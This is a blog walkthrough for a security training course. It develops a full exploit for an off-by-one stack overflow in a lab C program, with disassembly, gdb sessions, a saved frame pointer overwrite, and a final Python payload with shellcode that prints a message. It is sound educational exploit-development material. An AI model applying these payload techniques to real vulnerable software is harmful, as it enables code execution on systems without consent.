THE

SPRAWL

  •  
  •  
  •  
  • Open Security Training's Introduction to Software Exploits course includes a brief coverage of a C program with an off-by-one vulnerability, but due to time limitations the instructor did not get a chance to develop a full exploit. In the interests of learning, I invite you to join me in this walkthrough that goes over the challenge of writing an elegant exploit for this vulnerability.

    The Challenge

    Below is the source code for the vulnerable fp_overwrite.c which you can also find in the labs directory on the class virtual machine.

    void func(char *str)
    {
            char buf[256];
            int i;
    
            for (i=0;i<=256;i++)
                    buf[i] = str[i];
    }
    
    int main(int argc, char **argv)
    {
            func(argv[1]);
    }
    

    The vulnerability lies in the for (i=0;i<=256;i++) loop in the func function which will iterate (and attempt to write) 257 characters into a 256 byte buffer. This is a classic off-by-one vulnerability caused by the use of the <= sign in place of the more appropriate <. As a result, it is possible to write just one byte beyond the allocated buffer on the stack, a condition which may be exploitable in certain cases.

    Embrace the failure

    Before jumping into the exploit development, let's examine conditions necessary for this vulnerability to be exploitable. Compile the source with GCC as follows:

    gcc -g -o fp_overwrite fp_overwrite.c
    

    Below is the disassembly snippet produced by GCC for the func function:

    <func+0>:    push   ebp
    <func+1>:    mov    ebp,esp
    <func+3>:    sub    esp,0x110                   ; allocate 272 bytes on the stack
    <func+9>:    mov    DWORD PTR [ebp-4],0x0       ; set i = 0
    <func+16>:   jmp    0x804834b <func+39>         ; jump to the beginning of the loop
    <func+18>:   mov    edx,DWORD PTR [ebp-4]       ; i
    <func+21>:   mov    eax,DWORD PTR [ebp-4]       ; i
    <func+24>:   add    eax,DWORD PTR [ebp+8]       ; str + i
    <func+27>:   mov    al,BYTE PTR [eax]           ; str[i]
    <func+29>:   mov    BYTE PTR [ebp+edx-0x104],al ; buf[i] = str[i]
    <func+36>:   inc    DWORD PTR [ebp-4]           ; i++
    <func+39>:   cmp    DWORD PTR [ebp-4],0x100     ; compare i to 256
    <func+46>:   jle    0x8048336 <func+18>         ; loop while i <= 256
    <func+48>:   leave
    <func+49>:   ret
    

    The off-by-one vulnerability is present at <func+46> where jle is used instead of the more appropriate jl. However, let's look at the way the stack looks like after writing 256 "A"s vs. 256 "A"s plus an extra overflow character "B":

                +–––––––––––+                         +–––––––––––+
                | ret addr  |                         | ret addr  |
                +===========+                         +===========+  +
          [ebp] | saved ebp |                         | saved ebp |  |
                +––+––+––+––+                         +––+––+––+––+  |
        [ebp-4] |01|01|00|00| <- 0x101 = i = 0x143 -> |43|01|00|00|  |
                +––+––+––+––+                         +––+––+––+––+  |
                |41|41|41|41| <-   buf[252 - 256]  -> |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  | stack
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  | growth
                |  :     :  |                         |  :     :  |  |
                |  :     :  |                         |  :     :  |  | direction
                |  :     :  |                         |  :     :  |  |
                +--+--+--+--+                         +––+––+––+––+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––––––––+                         +––+––+––+––+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  V
      [ebp-104] |41|41|41|41| <-     buf[0 - 4]    -> |41|41|41|41|
                +––+––+––+––+                         +––+––+––+––+
                |  :     :  |                         |  :     :  |
    

    In the above stack representation, the least significant byte (little endian machine) of the for loop iterator, i, was overwritten with the value of 0x43. Notice that the value is 0x43 instead of the expected 0x42 (ASCII 'B') due to the inc DWORD PTR [ebp-4] instruction.

    This particular increment instruction also somewhat obfuscates the vulnerability. In the first case (256 As) since the value of i at the time of the overflow would be 0x100 with its least significant byte already set to 0x00, so when supplied with the expected null terminated 256 byte long string the byte in question will be overwritten with the same null value making it appear like everything is normal.

    However, back to the issue of exploitability. Because of the way GCC placed local stack variables, the worst we could do is make the value of i range anywhere from 0x101 to 0x200 (last overwritten byte 0xff). Unfortunately, since the loop simply terminates after the cmp DWORD PTR [ebp-4],0x100 instruction, there isn't much we could do in terms of arbitrary code execution.

    While the particular compiled program is not exploitable, we now understand the right conditions necessary to do real damage: a buffer located at a higher address than the iterator.

    Tiny matters

    Let's try to compile the same program with Corey's favorite compiler - Tiny C Compiler:

    tcc -g -o fp_overwrite fp_overwrite.c
    

    Let's see how TCC generated assembly differs from GCC's:

    <func+0>:    push   ebp
    <func+1>:    mov    ebp,esp
    <func+3>:    sub    esp,0x104
    <func+9>:    mov    eax,0x0
    <func+14>:   mov    DWORD PTR [ebp-0x104],eax
    <func+20>:   mov    eax,DWORD PTR [ebp-0x104]
    <func+26>:   cmp    eax,0x100
    <func+32>:   jg     0x8048248 <func+94>
    <func+38>:   jmp    0x8048228 <func+62>
    <func+43>:   mov    eax,DWORD PTR [ebp-0x104]
    <func+49>:   mov    ecx,eax
    <func+51>:   add    eax,0x1
    <func+54>:   mov    DWORD PTR [ebp-0x104],eax
    <func+60>:   jmp    0x80481fe <func+20>
    <func+62>:   lea    eax,[ebp-0x100]
    <func+68>:   mov    ecx,DWORD PTR [ebp-0x104]
    <func+74>:   add    eax,ecx
    <func+76>:   mov    ecx,DWORD PTR [ebp+8]
    <func+79>:   mov    edx,DWORD PTR [ebp-0x104]
    <func+85>:   add    ecx,edx
    <func+87>:   movsx  edx,BYTE PTR [ecx]
    <func+90>:   mov    BYTE PTR [eax],dl
    <func+92>:   jmp    0x8048215 <func+43>
    <func+94>:   leave
    <func+95>:   ret
    

    Hurray! The 256 byte buffer was allocated at a higher address on the stack than the local variable i:

    <func+9>:    mov    eax,0x0
    <func+14>:   mov    DWORD PTR [ebp-0x104],eax ; i = 0
    ...
    <func+62>:   lea    eax,[ebp-0x100]           ; &buf
    

    The above stack layout allows us to overwrite parts of the stack which may affect the flow of execution. Let's launch the program in the debugger and observe the effects:

    (gdb) r `python -c 'print "A"*256 + "B"'`
    Starting program: /home/student/labs/fp_overwrite `python -c 'print "A"*256 + "B"'`
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    

    This is the best error message one can expect from the debugger. However, additional work is necessary to understand exactly how EIP got set to 0x41414141.

    Overflow Analysis

    In this section, we will go in depth studying the execution flow. This level of detail will pay off in the last section once we use the program against itself to calculate all of the return addresses.

    Let's begin the analysis by setting breakpoints before and after the overflow as follows:

    (gdb) break *func+3
    Breakpoint 1 at 0x80481ed: file fp_overwrite.c, line 4.
    (gdb) break *func+94
    Breakpoint 2 at 0x8048248: file fp_overwrite.c, line 9.
    

    Running the program with the same 256+1 buffer shows exactly what gets overwritten:

    (gdb) r `python -c 'print "A"*256 + "B"'`
    Starting program: /home/student/labs/fp_overwrite `python -c 'print "A"*256 + "B"'`
    
    Breakpoint 1, 0x080481ed in func () at fp_overwrite.c:4
    4       {
    (gdb) x/4x $ebp-8
    0xbffff464:     0x08048280      0x00000000      0xbffff478      0x08048261
                    buf[247-251]    buf[252-256]    saved ebp       ret addr
    (gdb) c
    Continuing.
    
    Breakpoint 2, 0x08048248 in func () at fp_overwrite.c:9
    9                       buf[i] = str[i];
    (gdb) x/4x $ebp-8
    0xbffff464:     0x41414141      0x41414141      0xbffff442 <-+  0x08048261
                    buf[247-251]    buf[252-256]    saved ebp    |  ret addr
                                                                 |
                                                                 +- buf[257]
    

    Aha! The least significant byte of the saved EBP value was overwritten with 0x42 - the extra 257th byte. However, it will take a bit more time with a debugger to see how the heck we got 0x41414141:

    (gdb) x/2i $eip
    0x8048248 <func+94>:    leave
    0x8048249 <func+95>:    ret
    

    After the end of the loop there is a standard C epilogue. The LEAVE instruction is equivalent to MOV ESP, EBP/POP EBP, so the corrupted saved EBP value, 0xbffff442, should be restored into the actual EBP register as a result of POP EBP:

    (gdb) ni
    (gdb) i r $ebp
    ebp            0xbffff442       0xbffff442
    

    The EBP register now contains the corrupted value. Let's see where we end up after func returns:

    (gdb) ni
    (gdb) x/3i $eip
    0x8048261 <main+23>:    add    esp,0x4
    0x8048264 <main+26>:    leave
    0x8048265 <main+27>:    ret
    

    Great! We are back in the main function with only a few instructions remaining. Let's carefully observe the values of ESP and EBP after each instruction:

    (gdb) ni                  ; add esp,0x4
    (gdb) i r $ebp $esp
    ebp            0xbffff442
    esp            0xbffff478
    (gdb) ni                  ; leave
    Cannot access memory at address 0x41414145
    

    Oops, looks like that last LEAVE broke gdb's ability to track the current stack frame. So what happened here?

    (gdb) i r $ebp $esp
    ebp            0x41414141       0x41414141
    esp            0xbffff446       0xbffff446
    

    The MOV ESP, EBP part of the LEAVE instruction placed the value of 0xbffff442 into ESP. The other portion of LEAVE, the POP EBP instruction, retrieved the value pointed to by ESP while at the same time incrementing ESP by 4 bytes. which happened to be a part of the user controlled buffer filled with "A"s:

    (gdb) x/4x 0xbffff442
    0xbffff442:     0x41414141      0x41414141      0x41414141      0x41414141
    

    Considering the next instruction is RET the value pointed to by ESP is even more interesting since it will be placed into EIP:

    (gdb) x/x $esp
    0xbffff446:     0x41414141
    

    Just as was expected, because ESP was derived from the EBP (result of MOV ESP, EBP) it now points at the address at EBP+4 (result of POP EBP) which is still very much within the user controlled buffer. Once the RET instruction executes, whatever the address currently on top of the stack will get executed:

    (gdb) ni                  ; ret
    0x41414141 in ?? ()
    

    Thus the exploitation of this vulnerability depends on the corruption of the saved EBP value in order to create a new corrupted stack frame for the main before taking over the execution flow. With the exact flow of just one corrupted byte resulting in a controllable execution now clear, we are now ready to write the exploit.

    Do you have the powwwweerrr?

    At this point we have enough information to redirect code execution to an arbitrary address. Let's take a look at the state of the stack frame just after the overflow once more:

    (gdb) x/4x $ebp-8
    0xbffff464:     0x41414141      0x41414141      0xbffff442 <-+  0x08048261
                    buf[247-251]    buf[252-256]    saved ebp    |  ret addr
                                                                 |
                                                                 +- buf[257]
    

    If we were to corrupt the EBP register value to point to 0xbfffff464, then the RET in the main() would attempt to execute instructions at the address of EBP+4 or 0xbffff468. Let's try this out:

    (gdb) r `python -c 'print "A"*(256-4) + "BBBB" + "\x64"'`
    ...
    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    

    Beautiful, we can now control the execution flow. Let's visualize how the stack frame was corrupted which resulted in the jump to 0x42424242:

                Before RET (func)                     Before RET (main)
                +–––––––––––+                         +-----------+
                | ret addr  |                         |           |
                +===========+                         +-----------+
          [ebp] | 0xbffff464| (corrupted)             |           |
                +––+––+––+––+                         +-----------+  |
    0xbfffff468 |42|42|42|42|              [ret addr] | 0x42424242|  |
                +––+––+––+––+                         +===========+  |
    0xbfffff464 |41|41|41|41|                   [ebp] |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  | stack
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  | growth
                |  :     :  |                         |  :     :  |  |
                |  :     :  |                         |  :     :  |  | direction
                |  :     :  |                         |  :     :  |  |
                +--+--+--+--+                         +––+––+––+––+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––––––––+                         +––+––+––+––+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  V
      [ebp-100] |41|41|41|41|                         |41|41|41|41|
                +––+––+––+––+                         +––+––+––+––+
                |  :     :  |                         |  :     :  |
    

    At this point you could simply replace 0x42424242 with an absolute address of a shellcode somewhere in memory and get code execution:

    (gdb) r `python -c 'print "\xcc"*(256-4) + "\x6c\xf3\xff\xbf" + "\x64"'`
    ...
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff36d in ?? ()
    (gdb) x/5i $eip
    0xbffff36d:     int3
    0xbffff36e:     int3
    0xbffff36f:     int3
    0xbffff370:     int3
    0xbffff371:     int3
    

    NOTE: I have used 0xCC or INT 3 instead of the actual shellcode for illustration purposes.

    While the solution above may work in this case, it relies on an absolute address which is not elegant. Can we do better?

    I have the powwwwerrrrrrrr!

    Once again, let's go back to the state of the stack just before the RET instruction in the func:

    (gdb) x/4x $ebp-8
    0xbffff464:     0x41414141      0x41414141      0xbffff442 <-+  0x08048261
                    buf[247-251]    buf[252-256]    saved ebp    |  ret addr
                                                                 |
                                                                 +- buf[257]
    

    We know that the RET in main() will jump to whatever pointed to by EBP+4, so why not use the program against itself to calculate the user controlled return address by utilizing the corrupted saved EBP value as a return address as well:

    (gdb) r `python -c 'print "A"*(256-4) + "\xcc\xcc\xcc\xcc" + "\x68"'`
    ...
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff469 in ?? ()
    (gdb) x/5i $eip
    0xbffff469:     int3
    0xbffff46a:     int3
    0xbffff46b:     int3
    0xbffff46c:     push   0x61bffff4
    0xbffff471:     (bad)
    

    By carefully calculating the corrupted EBP value to point to exactly 4 bytes behind it, the RET in main() will jump to that very same address without the need for any hardcoded absolute addresses. Let's visualize the two corrupted stack frames to make it clear:

                Before RET (func)                     Before RET (main)
                +–––––––––––+                         +-----------+
                | ret addr  |                         |           |
                +===========+                         +-----------+
          [ebp] | 0xbffff468| (corrupted)  [ret addr] | 0xbffff468|
                +––+––+––+––+                         +===========+
    0xbfffff468 |CC|CC|CC|CC|                   [ebp] |CC|CC|CC|CC|  |
                +––+––+––+––+                         +--+--+--+--+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  | stack
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  | growth
                |  :     :  |                         |  :     :  |  |
                |  :     :  |                         |  :     :  |  | direction
                |  :     :  |                         |  :     :  |  |
                +--+--+--+--+                         +––+––+––+––+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––––––––+                         +––+––+––+––+  |
                |41|41|41|41|                         |41|41|41|41|  |
                +––+––+––+––+                         +––+––+––+––+  V
      [ebp-100] |41|41|41|41|                         |41|41|41|41|
                +––+––+––+––+                         +––+––+––+––+
                |  :     :  |                         |  :     :  |
    

    The four bytes at 0xbffff468 could be used for a short relative backward jump to the shellcode. Let's use the 34 byte hello shellcode used in other examples in the course. The opcode to jump backward 34 + 2 bytes would be \xeb\xdc:

    (gdb) r `python -c 'print "A"*(256-4-34) + "\xcc"*34 + "\xeb\xdc\xcc\xcc" + "\x68"'`
    ...
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff447 in ?? ()
    (gdb) x/20x 0xbffff446
    0xbffff446:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
    0xbffff456:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
    0xbffff466:     0xdcebcccc      0xf468cccc      0x8261bfff      0xf65a0804
    0xbffff476:     0xf4d8bfff      0xbdf8bfff      0x0002b7e9      0xf5040000
    0xbffff486:     0xf510bfff      0x720bbfff      0x0000b7fe      0x00020000
    

    NOTE: If you need to jump backward further, simply jump to another long jump pivot (5 bytes needed) and then jump to the shellcode further away than -128 bytes.

    The final exploit to generate the malicious payload will look something like this:

    #!/usr/bin/env python
    shellcode = (
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"
    "\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77"
    "\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01"
    "\x31\xdb\xcd\x80"
    )
    
    print "A"*(256 - 34 - 4) + shellcode  + "\xeb\xdc\xcc\xcc" + "\x68"
    

    Executing the vulnerable program:

    $ ./fp_overwrite `python exploit.py`
    Owned!!!
    

    External Links and References

    Special Note

    Thank you Corey and the Open Security Training staff for bringing yet another excellent course to the Internet. Your many contributions to the security community are simply awesome.

    Published on April 27th, 2014 by iphelix

    sprawlsimilar

    open security training - introduction to software exploits - uninitialized variable overflow

    Open Security Training's Introduction to Software Exploits course has a number of vulnerability examples designed to illustrate unconventional exploitation techniques. One such example is an uninitialized variable condition which may be exploitable under certain conditions. The following walkthrough goes into the exact exploitation steps for this class of vulnerabilities. Read more.

    open security training - introduction to re - bomb lab secret phase

    A walkthrough for the Secret Phase of the Bomb Lab covered in Open Security Training's Introduction to Reverse Engineering class. Read more.

    corelan - integer overflows - exercise solution

    A solution to the exercise in the Corelan article Root Cause Analysis - Integer Overflows on exploiting integer and heap overflows. The solution illustrates massaging the heap into a vulnerable state by corrupting the Windows front-end allocator and finally exploiting it to gain arbitrary code execution. Read more.

    heap overflows for humans - 102 - exercise solution

    Heap Overflows For Humans is a series of articles by Steven Seeley that explore heap exploitation on Windows. In this article I will go over the exact reasoning and exploitation steps for an exercise created by Steven in the second article of the series. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\